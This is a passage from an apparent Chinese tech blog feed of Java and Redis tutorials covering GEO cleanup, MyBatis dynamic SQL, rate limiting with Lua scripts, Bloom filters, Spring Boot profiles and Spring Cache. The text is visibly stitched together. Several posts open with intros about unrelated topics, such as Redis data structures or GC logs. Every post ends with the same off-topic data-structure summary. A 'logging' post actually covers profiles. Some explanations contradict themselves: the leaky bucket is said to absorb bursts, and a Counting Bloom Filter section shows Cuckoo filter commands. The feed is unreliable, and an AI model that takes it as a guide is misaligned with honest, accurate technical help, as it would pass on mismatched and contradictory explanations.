    @Scheduled(fixedRate = 600000)  // 每10分钟
    public void cleanupStaleLocations() {
        // GEO不支持按score范围删除
        // 方案1：使用辅助ZSet记录更新时间
        // 方案2：定期全量重建
    }
}

#

4.3 使用辅助数据结构

@Service
public class OptimizedGeoService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 添加位置时同时更新辅助索引
     */
    public void addLocationWithIndex(String key, String member, 
                                      double longitude, double latitude, long timestamp) {
        // 添加GEO位置
        redis.opsForGeo().add(key, new Point(longitude, latitude), member);
        
        // 辅助ZSet记录更新时间
        redis.opsForZSet().add(key + ":lastUpdate", member, timestamp);
        
        // 辅助Hash存储详细信息
        Map<String, String> info = new HashMap<>();
        info.put("longitude", String.valueOf(longitude));
        info.put("latitude", String.valueOf(latitude));
        info.put("updateTime", String.valueOf(timestamp));
        redis.opsForHash().putAll(key + ":info:" + member, info);
    }
    
    /**
     * 清理过期位置
     */
    public void cleanupExpired(String key, long expireBefore) {
        // 使用辅助ZSet找出过期的成员
        Set<String> expired = redis.opsForZSet().rangeByScore(
            key + ":lastUpdate", 0, expireBefore);
        
        if (expired != null && !expired.isEmpty()) {
            // 从GEO中删除
            redis.opsForGeo().remove(key, expired.toArray());
            
            // 从辅助ZSet中删除
            redis.opsForZSet().remove(key + ":lastUpdate", expired.toArray());
            
            // 删除辅助Hash
            for (String member : expired) {
                redis.delete(key + ":info:" + member);
            }
        }
    }
}

五、注意事项

#

5.1 边界问题

GeoHash的边界问题：
- 两个位置GeoHash编码不同，但可能非常近（跨网格边界）
- GEORADIUS命令会处理这个问题（查询相邻网格）
- 但极端情况下仍可能有遗漏

建议：
- 查询半径适当放大（如实际500米，查询550米）
- 对结果进行二次精确计算

#

5.2 距离精度

# Redis GEO使用球面模型计算距离
# 默认使用WGS84地球半径（6372797.56米）
# 对于短距离（<100km）精度足够
# 长距离误差约0.5%

# 如果需要更高精度，可以：
# 1. 使用Redis结果做初步筛选
# 2. 应用层使用Haversine公式精确计算

#

5.3 大数量限制

单key存储的GEO位置数量：
- 理论无限制（受内存限制）
- 建议单key不超过100万个位置
- 超过时考虑按城市/区域分片

六、总结

命令功能时间复杂度
GEOADD添加位置O(log n)
GEOPOS获取位置O(log n)
GEODIST计算距离O(log n)
GEORADIUS范围查询O(n+log m)
GEORADIUSBYMEMBER基于成员范围查询O(log n + m)
GEOHASH获取GeoHashO(log n)

GEO使用建议：

  1. 适合场景：附近查询、距离计算、范围判断
  2. 不适合场景：精确路径规划、复杂几何计算
  3. 分片策略：大数据量按区域分片
  4. 辅助结构：结合ZSet/Hash管理元数据
  5. 精度处理：短距离足够，长距离可二次精确

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Redis限流算法实战 //redis-rate-limiting-algorithms/ Redis限流算法实战

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、计数器算法（固定窗口）

#

1.1 原理

将时间划分为固定窗口（如1分钟），每个窗口内允许N个请求

时间线：
00:00 ───── 00:01 ───── 00:02 ───── 00:03
  │           │           │           │
窗口1        窗口2        窗口3        窗口4
计数:50     计数:100    计数:30     计数:0
限流:100    限流:100    限流:100    限流:100

#

1.2 Redis实现

@Component
public class CounterRateLimiter {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 计数器限流
     * @param key 限流key
     * @param limit 窗口内最大请求数
     * @param windowSeconds 窗口大小（秒）
     */
    public boolean isAllowed(String key, int limit, int windowSeconds) {
        String redisKey = "rate:counter:" + key;
        
        // 获取当前计数
        String countStr = redis.opsForValue().get(redisKey);
        int count = countStr != null ? Integer.parseInt(countStr) : 0;
        
        if (count >= limit) {
            return false;  // 超过限流
        }
        
        // 增加计数
        Long newCount = redis.opsForValue().increment(redisKey);
        
        // 如果是第一次，设置过期时间
        if (newCount != null && newCount == 1) {
            redis.expire(redisKey, windowSeconds, TimeUnit.SECONDS);
        }
        
        return true;
    }
}

#

1.3 Lua原子实现

-- 计数器限流（原子操作）
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])

local count = redis.call('get', key)
if count and tonumber(count) >= limit then
    return 0
end

local current = redis.call('incr', key)
if current == 1 then
    redis.call('expire', key, window)
end

return 1
@Component
public class CounterRateLimiterLua {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final String COUNTER_SCRIPT = 
        "local key = KEYS[1] " +
        "local limit = tonumber(ARGV[1]) " +
        "local window = tonumber(ARGV[2]) " +
        "local count = redis.call('get', key) " +
        "if count and tonumber(count) >= limit then return 0 end " +
        "local current = redis.call('incr', key) " +
        "if current == 1 then redis.call('expire', key, window) end " +
        "return 1";
    
    public boolean isAllowed(String key, int limit, int windowSeconds) {
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(COUNTER_SCRIPT, Long.class);
        Long result = redis.execute(script, Collections.singletonList("rate:counter:" + key), 
            String.valueOf(limit), String.valueOf(windowSeconds));
        return result != null && result == 1;
    }
}

#

1.4 缺点

临界问题：

窗口1（00:00-00:01）      窗口2（00:01-00:02）
    │                        │
    └── 100请求 ──┐         └── 100请求 ──
                  │              │
                00:01 ──────────┘
                
在00:00:59和00:01:01之间，实际通过了200个请求！

二、滑动窗口算法

#

2.1 原理

记录每个请求的时间戳，滑动统计窗口内的请求数

时间线：
00:00:50 请求1
00:00:55 请求2
00:01:02 请求3  ← 窗口滑动，00:00:02之前的过期
00:01:05 请求4

窗口大小1分钟，当前时间00:01:05：
统计00:00:05到00:01:05的请求 = 4个

#

2.2 ZSet实现

@Component
public class SlidingWindowRateLimiter {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 滑动窗口限流
     */
    public boolean isAllowed(String key, int limit, int windowMs) {
        String redisKey = "rate:sliding:" + key;
        long now = System.currentTimeMillis();
        long windowStart = now - windowMs;
        
        // 移除窗口外的请求记录
        redis.opsForZSet().removeRangeByScore(redisKey, 0, windowStart);
        
        // 获取当前窗口内的请求数
        Long count = redis.opsForZSet().zCard(redisKey);
        if (count != null && count >= limit) {
            return false;
        }
        
        // 记录本次请求（使用雪花ID或UUID保证member唯一）
        redis.opsForZSet().add(redisKey, now + ":" + ThreadLocalRandom.current().nextInt(100000), now);
        redis.expire(redisKey, windowMs / 1000 + 1, TimeUnit.SECONDS);
        
        return true;
    }
}

#

2.3 Lua原子实现

-- 滑动窗口限流
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local now = tonumber(ARGV[2])
local window = tonumber(ARGV[3])
local windowStart = now - window

-- 移除窗口外的记录
redis.call('zremrangebyscore', key, 0, windowStart)

-- 获取当前窗口内记录数
local count = redis.call('zcard', key)
if count >= limit then
    return 0
end

-- 添加记录
redis.call('zadd', key, now, ARGV[4])
redis.call('expire', key, math.ceil(window / 1000) + 1)

return 1

三、漏桶算法

#

3.1 原理

请求先进入漏桶（队列），以固定速率流出处理

    请求流入
       │
       ▼
   ┌─────────┐
   │ 漏桶    │  ← 容量有限，满了则溢出（限流）
   │ (队列)  │
   └────┬────┘
        │ 固定速率流出
        ▼
      处理

特点：
- 流出速率固定（平滑流量）
- 桶满时新请求被拒绝
- 可以应对突发流量

#

3.2 Redis实现

@Component
public class LeakyBucketRateLimiter {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 漏桶限流
     * @param key 限流key
     * @param capacity 桶容量
     * @param ratePerSecond 每秒流出速率
     */
    public boolean isAllowed(String key, int capacity, int ratePerSecond) {
        String redisKey = "rate:leaky:" + key;
        
        String luaScript = 
            "local key = KEYS[1] " +
            "local capacity = tonumber(ARGV[1]) " +
            "local rate = tonumber(ARGV[2]) " +
            "local now = tonumber(ARGV[3]) " +
            "local requested = tonumber(ARGV[4]) " +
            "\n" +
            "local bucket = redis.call('hmget', key, 'water', 'lastTime') " +
            "local water = tonumber(bucket[1]) or 0 " +
            "local lastTime = tonumber(bucket[2]) or now " +
            "\n" +
            "-- 计算流出的水量 " +
            "local leak = math.floor((now - lastTime) * rate / 1000) " +
            "water = math.max(0, water - leak) " +
            "\n" +
            "-- 检查是否溢出 " +
            "if water + requested <= capacity then " +
            "    water = water + requested " +
            "    redis.call('hmset', key, 'water', water, 'lastTime', now) " +
            "    redis.call('expire', key, 60) " +
            "    return 1 " +
            "else " +
            "    redis.call('hmset', key, 'water', water, 'lastTime', now) " +
            "    redis.call('expire', key, 60) " +
            "    return 0 " +
            "end";
        
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(luaScript, Long.class);
        Long result = redis.execute(script, Collections.singletonList(redisKey),
            String.valueOf(capacity),
            String.valueOf(ratePerSecond),
            String.valueOf(System.currentTimeMillis()),
            "1"
        );
        
        return result != null && result == 1;
    }
}

四、令牌桶算法

#

4.1 原理

以固定速率往桶里放令牌，请求需要获取令牌才能执行

    令牌放入
       │ 固定速率
       ▼
   ┌─────────┐
   │ 令牌桶  │  ← 容量有限，满了不再放入
   │         │
   └────┬────┘
        │
   请求获取令牌
        │
        ├── 有令牌 → 执行
        └── 无令牌 → 限流

特点：
- 可以应对一定突发流量（桶内有累积令牌）
- 长期速率固定
- 最灵活的限流算法

#

4.2 Redis实现

@Component
public class TokenBucketRateLimiter {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 令牌桶限流
     * @param key 限流key
     * @param capacity 桶容量
     * @param ratePerSecond 每秒放入令牌数
     */
    public boolean isAllowed(String key, int capacity, int ratePerSecond) {
        String redisKey = "rate:token:" + key;
        
        String luaScript = 
            "local key = KEYS[1] " +
            "local capacity = tonumber(ARGV[1]) " +
            "local rate = tonumber(ARGV[2]) " +
            "local now = tonumber(ARGV[3]) " +
            "local requested = tonumber(ARGV[4]) " +
            "\n" +
            "local bucket = redis.call('hmget', key, 'tokens', 'lastTime') " +
            "local tokens = tonumber(bucket[1]) or capacity " +
            "local lastTime = tonumber(bucket[2]) or now " +
            "\n" +
            "-- 计算新增的令牌 " +
            "local delta = math.max(0, (now - lastTime) * rate / 1000) " +
            "tokens = math.min(capacity, tokens + delta) " +
            "\n" +
            "-- 检查是否有足够令牌 " +
            "if tokens >= requested then " +
            "    tokens = tokens - requested " +
            "    redis.call('hmset', key, 'tokens', tokens, 'lastTime', now) " +
            "    redis.call('expire', key, 60) " +
            "    return 1 " +
            "else " +
            "    redis.call('hmset', key, 'tokens', tokens, 'lastTime', now) " +
            "    redis.call('expire', key, 60) " +
            "    return 0 " +
            "end";
        
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(luaScript, Long.class);
        Long result = redis.execute(script, Collections.singletonList(redisKey),
            String.valueOf(capacity),
            String.valueOf(ratePerSecond),
            String.valueOf(System.currentTimeMillis()),
            "1"
        );
        
        return result != null && result == 1;
    }
}

五、算法对比

算法优点缺点适用场景
计数器简单，内存小临界问题简单限流
滑动窗口精确，无临界问题内存占用大精确限流
漏桶平滑流量无法应对突发流量整形
令牌桶允许突发，灵活实现复杂通用限流

六、Spring Boot整合

#

6.1 AOP限流

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface RateLimit {
    String key() default "";
    int limit() default 100;
    int window() default 60;
    String message() default "请求过于频繁，请稍后再试";
}

@Aspect
@Component
public class RateLimitAspect {
    
    @Autowired
    private TokenBucketRateLimiter rateLimiter;
    
    @Around("@annotation(rateLimit)")
    public Object around(ProceedingJoinPoint point, RateLimit rateLimit) throws Throwable {
        String key = rateLimit.key();
        if (key.isEmpty()) {
            key = point.getSignature().toShortString();
        }
        
        // 可以加入用户ID等维度
        Object[] args = point.getArgs();
        if (args.length > 0 && args[0] instanceof String) {
            key = key + ":" + args[0];
        }
        
        boolean allowed = rateLimiter.isAllowed(key, rateLimit.limit(), rateLimit.window());
        if (!allowed) {
            throw new RateLimitException(rateLimit.message());
        }
        
        return point.proceed();
    }
}

#

6.2 使用注解

@RestController
public class ApiController {
    
    @RateLimit(key = "api:order", limit = 10, window = 60)
    @PostMapping("/order")
    public Response createOrder(@RequestBody OrderRequest request) {
        // 创建订单
        return Response.success();
    }
    
    @RateLimit(key = "api:query", limit = 100, window = 60)
    @GetMapping("/products")
    public List<Product> listProducts() {
        // 查询商品
        return productService.list();
    }
}

#

6.3 全局异常处理

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(RateLimitException.class)
    public ResponseEntity<ErrorResponse> handleRateLimit(RateLimitException e) {
        return ResponseEntity.status(429)
            .body(new ErrorResponse(429, e.getMessage()));
    }
}

七、多级限流

#

7.1 分层限流

@Component
public class MultiLevelRateLimiter {
    
    @Autowired
    private TokenBucketRateLimiter tokenBucket;
    
    public boolean isAllowed(String userId, String api) {
        // L1: 全局限流（保护系统）
        if (!tokenBucket.isAllowed("global:" + api, 10000, 1000)) {
            return false;
        }
        
        // L2: API限流（保护单个API）
        if (!tokenBucket.isAllowed("api:" + api, 1000, 100)) {
            return false;
        }
        
        // L3: 用户限流（防止单个用户刷接口）
        if (!tokenBucket.isAllowed("user:" + userId + ":" + api, 10, 1)) {
            return false;
        }
        
        return true;
    }
}

八、总结

实现方式复杂度精度推荐场景
计数器低低简单接口保护
滑动窗口中高精确限流
漏桶中中流量整形
令牌桶中高通用限流（推荐）

限流设计的核心原则：

  1. 多层防护：网关层、应用层、接口层逐级限流
  2. 粒度合理：按用户、IP、接口多维度限流
  3. 降级友好：限流时返回友好提示
  4. 监控告警：及时发现异常流量
  5. 动态调整：支持动态修改限流阈值

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Redis布隆过滤器应用 //redis-bloom-filter-application/ Redis布隆过滤器应用

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、布隆过滤器原理

#

1.1 基本结构

布隆过滤器由两部分组成：
1. 一个长度为m的bit数组（初始全为0）
2. k个独立的哈希函数

初始状态：
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘

#

1.2 添加元素

添加"Alice"：
1. 用k个哈希函数计算：h1("Alice")=2, h2("Alice")=5
2. 将bit数组对应位置设为1

┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 1 │ 0 │ 0 │ 1 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘
        ↑           ↑
      h1(Alice)  h2(Alice)

添加"Bob"：
h1("Bob")=3, h2("Bob")=5

┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 1 │ 1 │ 0 │ 1 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘
            ↑       ↑
          h1(Bob) h2(Bob)

#

1.3 查询元素

查询"Alice"：
h1("Alice")=2, h2("Alice")=5
检查bit[2]和bit[5]都是1 → "可能在集合中"

查询"Charlie"：
h1("Charlie")=1, h2("Charlie")=6
检查bit[1]=0 → "一定不在集合中"

查询"David"：
h1("David")=2, h2("David")=3
检查bit[2]=1, bit[3]=1 → "可能在集合中"（实际不在，误判！）

#

1.4 特点

特性说明
空间效率极高效，存储1亿个元素仅需约100MB
查询时间O(k)，k是哈希函数数量，常数时间
添加时间O(k)，常数时间
误判率存在（可能判断为存在，实际不存在）
漏判率不存在（判断为不存在，一定不存在）
删除不支持（或需要特殊实现）

二、RedisBloom模块

#

2.1 安装

# 方式1：编译安装RedisBloom
git clone https://github.com/RedisBloom/RedisBloom.git
cd RedisBloom
make

# 在redis.conf中加载模块
loadmodule /path/to/redisbloom.so

# 方式2：使用Docker
docker run -p 6379:6379 redislabs/rebloom:latest

# 方式3：Redis Stack（包含RedisBloom）
docker run -d --name redis-stack -p 6379:6379 redis/redis-stack:latest

#

2.2 基本命令

# 创建布隆过滤器
BF.RESERVE user_filter 0.01 1000000
# BF.RESERVE <key> <error_rate> <capacity>

# 添加元素
BF.ADD user_filter user:1001
BF.ADD user_filter user:1002

# 批量添加
BF.MADD user_filter user:1003 user:1004 user:1005

# 查询元素
BF.EXISTS user_filter user:1001    # 返回1（可能存在）
BF.EXISTS user_filter user:9999    # 返回0（一定不存在）

# 批量查询
BF.MEXISTS user_filter user:1001 user:1002 user:9999

# 查看信息
BF.INFO user_filter
# 输出：
# 1) Capacity
# 2) (integer) 1000000
# 3) Size
# 4) (integer) 2396279
# 5) Number of filters
# 6) (integer) 1
# 7) Number of items inserted
# 8) (integer) 2
# 9) Expansion rate
# 10) (integer) 2

#

2.3 自动扩容

# 使用BF.ADD（不预先RESERVE）会自动创建
BF.ADD auto_filter user:1001
# 使用默认参数：error_rate=0.1%, capacity=100

# 当容量不足时，BF会自动扩容
BF.ADD auto_filter user:101
# 自动扩容，误判率会略有增加

三、Java中使用RedisBloom

#

3.1 Redisson实现

@Configuration
public class BloomFilterConfig {
    
    @Bean
    public RBloomFilter<String> userBloomFilter(RedissonClient redisson) {
        RBloomFilter<String> bloomFilter = redisson.getBloomFilter("userFilter");
        
        // 初始化：预期100万元素，误判率1%
        bloomFilter.tryInit(1000000L, 0.01);
        
        return bloomFilter;
    }
}

@Service
public class UserService {
    
    @Autowired
    private RBloomFilter<String> userBloomFilter;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private UserMapper userMapper;
    
    // 初始化布隆过滤器
    @PostConstruct
    public void init() {
        List<Long> userIds = userMapper.findAllIds();
        for (Long id : userIds) {
            userBloomFilter.add("user:" + id);
        }
    }
    
    public User getUser(Long id) {
        String key = "user:" + id;
        
        // 1. 布隆过滤器判断
        if (!userBloomFilter.contains(key)) {
            return null;  // 一定不存在
        }
        
        // 2. 查缓存
        String json = redis.opsForValue().get(key);
        if (json != null) {
            return JSON.parseObject(json, User.class);
        }
        
        // 3. 查数据库
        User user = userMapper.findById(id);
        if (user != null) {
            redis.opsForValue().set(key, JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
        }
        
        return user;
    }
}

#

3.2 Guava + Redis实现

@Component
public class GuavaBloomFilter {
    
    private BloomFilter<String> bloomFilter;
    
    @PostConstruct
    public void init() {
        // 创建布隆过滤器（本地内存）
        bloomFilter = BloomFilter.create(
            Funnels.stringFunnel(StandardCharsets.UTF_8),
            1000000,   // 预期元素数
            0.01       // 误判率
        );
        
        // 加载数据
        loadData();
    }
    
    public boolean mightContain(String element) {
        return bloomFilter.mightContain(element);
    }
    
    public void put(String element) {
        bloomFilter.put(element);
    }
}

四、应用场景

#

4.1 缓存穿透防护

@Service
public class CachePenetrationProtection {
    
    @Autowired
    private RBloomFilter<String> bloomFilter;
    @Autowired
    private StringRedisTemplate redis;
    @Autowired
    private ProductMapper productMapper;
    
    public Product getProduct(Long id) {
        String key = "product:" + id;
        
        // 布隆过滤器先判断
        if (!bloomFilter.contains(key)) {
            return null;  // 一定不存在，直接返回
        }
        
        // 查缓存
        String json = redis.opsForValue().get(key);
        if (json != null) {
            return JSON.parseObject(json, Product.class);
        }
        
        // 查数据库（只有布隆过滤器判断可能存在时才查）
        Product product = productMapper.findById(id);
        if (product != null) {
            redis.opsForValue().set(key, JSON.toJSONString(product), 3600, TimeUnit.SECONDS);
        }
        
        return product;
    }
}

#

4.2 URL去重（爬虫）

@Service
public class CrawlerService {
    
    @Autowired
    private RBloomFilter<String> urlBloomFilter;
    
    public boolean shouldCrawl(String url) {
        // 如果URL可能在集合中，跳过
        if (urlBloomFilter.contains(url)) {
            return false;  // 已爬过（可能误判，会漏掉少量未爬的）
        }
        
        // 新URL，添加到布隆过滤器
        urlBloomFilter.add(url);
        return true;
    }
}

#

4.3 用户ID去重

@Service
public class UserIdDeduplication {
    
    @Autowired
    private RBloomFilter<String> userIdFilter;
    
    // 检查用户是否已注册
    public boolean isUserRegistered(String userId) {
        return userIdFilter.contains(userId);
    }
    
    // 用户注册时添加
    public void registerUser(String userId) {
        userIdFilter.add(userId);
    }
}

#

4.4 推荐系统（已推荐过滤）

@Service
public class RecommendationService {
    
    @Autowired
    private RBloomFilter<String> recommendationFilter;
    
    public List<Article> recommendArticles(Long userId) {
        List<Article> candidates = articleMapper.findCandidates();
        List<Article> result = new ArrayList<>();
        
        for (Article article : candidates) {
            String key = userId + ":" + article.getId();
            
            // 如果可能已推荐过，跳过
            if (recommendationFilter.contains(key)) {
                continue;
            }
            
            result.add(article);
            recommendationFilter.add(key);
            
            if (result.size() >= 10) break;
        }
        
        return result;
    }
}

五、参数调优

#

5.1 误判率与空间的关系

公式：
bit数组大小 m = -n * ln(p) / (ln(2)^2)
哈希函数数 k = m * ln(2) / n

其中：
n = 预期元素数量
p = 误判率

示例：
n = 100万, p = 1%
m ≈ 9585058 bits ≈ 1.14MB
k ≈ 7

n = 100万, p = 0.1%
m ≈ 14377078 bits ≈ 1.72MB
k ≈ 10

#

5.2 参数选择建议

场景预期元素数可接受误判率推荐大小
缓存穿透防护1000万1%11.4MB
URL去重1亿0.1%172MB
用户ID1000万0.01%22.9MB
日志去重10亿1%1.14GB

#

5.3 动态扩容

# RedisBloom支持自动扩容
BF.RESERVE myfilter 0.01 1000000 EXPANSION 2
# EXPANSION: 扩容倍数，默认2

# 当容量达到100万时，自动创建子过滤器
# 子过滤器容量 = 100万 * 2 = 200万
# 误判率会略有增加

六、布隆过滤器的局限

#

6.1 不支持删除

问题：
删除"Alice"时，不能简单将bit[2]和bit[5]设为0
因为"Bob"也可能使用了bit[5]

解决方案：
1. Counting Bloom Filter（每个bit改为计数器）
2. Cuckoo Filter（支持删除的变体）

#

6.2 误判不可控

一旦创建，误判率固定（除非扩容）
不能根据查询结果调整

缓解方案：
1. 使用白名单记录误判的元素
2. 定期重建布隆过滤器

七、Counting Bloom Filter

#

7.1 原理

将bit数组改为计数器数组：

添加"Alice"：
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 1 │ 0 │ 0 │ 1 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘

添加"Bob"：
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 1 │ 1 │ 0 │ 2 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘
                ↑       ↑
              h1(Bob) h2(Bob)（h2位置已有Alice，计数+1）

删除"Alice"：
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 0 │ 0 │ 1 │ 0 │ 1 │ 0 │ 0 │
└───┴───┴───┴───┴───┴───┴───┴───┘
        ↑               ↑
      减1             减1（但不小于0）

#

7.2 Redis实现

# RedisBloom的CF（Cuckoo Filter）支持删除
CF.ADD mycf item1
CF.EXISTS mycf item1    # 返回1
CF.DEL mycf item1       # 删除
CF.EXISTS mycf item1    # 返回0

八、总结

特性布隆过滤器HashSet
空间效率极高低
查询时间O(1)O(1)
误判有无
删除不支持支持
适用场景大数据量，允许误判小数据量，精确判断

布隆过滤器的核心价值：

  1. 空间效率：用极少的空间存储大量元素的存在信息
  2. 时间效率：O(1)的查询时间
  3. 零漏判：判断为不存在则一定不存在

使用建议：

  1. 适合”可能存在”的场景，不适用于”一定存在”
  2. 根据预期数据量和可接受误判率选择参数
  3. 定期重建以保持误判率
  4. 不能替代精确查询，只能用于前置过滤

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Redis与SpringCache整合 //redis-spring-cache-integration/ Redis与SpringCache整合

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

一、Spring Cache基础

#

1.1 核心注解

注解作用
@Cacheable先查缓存，没有则执行方法并缓存结果
@CachePut执行方法，并将结果放入缓存
@CacheEvict从缓存中移除数据
@Caching组合多个缓存操作
@CacheConfig在类级别统一配置缓存

#

1.2 基本使用

@Service
public class UserService {
    
    @Autowired
    private UserMapper userMapper;
    
    // 查询缓存，没有则查数据库
    @Cacheable(value = "user", key = "#id")
    public User getUser(Long id) {
        return userMapper.findById(id);
    }
    
    // 更新数据库并刷新缓存
    @CachePut(value = "user", key = "#user.id")
    public User updateUser(User user) {
        userMapper.update(user);
        return user;
    }
    
    // 删除数据并清除缓存
    @CacheEvict(value = "user", key = "#id")
    public void deleteUser(Long id) {
        userMapper.delete(id);
    }
    
    // 清除所有用户缓存
    @CacheEvict(value = "user", allEntries = true)
    public void clearUserCache() {
    }
}

二、整合Redis Cache

#

2.1 添加依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-cache</artifactId>
</dependency>

#

2.2 启用缓存

@SpringBootApplication
@EnableCaching
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

#

2.3 配置Redis

spring:
  redis:
    host: localhost
    port: 6379
    password: 
    database: 0
    lettuce:
      pool:
        max-active: 50
        max-idle: 20
        min-idle: 5

#

2.4 配置CacheManager

@Configuration
public class CacheConfig {
    
    @Autowired
    private RedisConnectionFactory connectionFactory;
    
    @Bean
    public CacheManager cacheManager() {
